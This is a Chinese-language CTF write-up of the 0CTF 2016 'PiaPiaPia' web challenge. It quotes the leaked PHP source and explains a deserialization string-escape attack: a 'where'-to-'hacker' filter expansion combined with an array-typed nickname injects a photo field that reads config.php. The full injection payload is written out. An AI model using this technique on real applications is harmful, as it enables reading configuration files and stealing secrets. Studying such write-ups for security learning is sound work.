0CTF 2016
0x01 0CTF 2016 PiaPiaPia
进入是一个登入界面,试了几个万能密码都没有用,也没有报错之类的
扫描网站目录有/www.zip源码泄露
找了一下config里有flag但是是空的,看来是要想办法读/config.php了
有注册页,看下注册逻辑,跟进在class.php里
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
这里有个filter
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
过滤了单引号,双斜杠,'select', 'insert', 'update', 'delete', 'where'
先试着注册一个账号,提示要填写profile,看下这部分逻辑
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
看到一个serialize(),看一下有没有反序列化
注意到
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
应该就是想办法利用$profile['photo']
读出config.php了
直接在photo里搞肯定是不行的,注意到nickname是可控的
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
preg_match和strlen可以利用数组形式绕过
这里利用的是php反序列化长度变化尾部字符串逃逸
对于
unserialize()
而言,这个函数会忽略能够正常序列化的字符串后面的字符串
我们的目的是构造
s:5:"photo";s:10:"config.php";}
但是生成的序列化对象会检验长度,怎么办呢
注意到
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
where->hacker 5->6 每写一个where多一个字符,
这里我们多构造的是"};s:5:"photo";s:10:"config.php";}
一共34个字符因为nickname是数组所以前要补}
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
参考资料
php利用数组绕过的总结: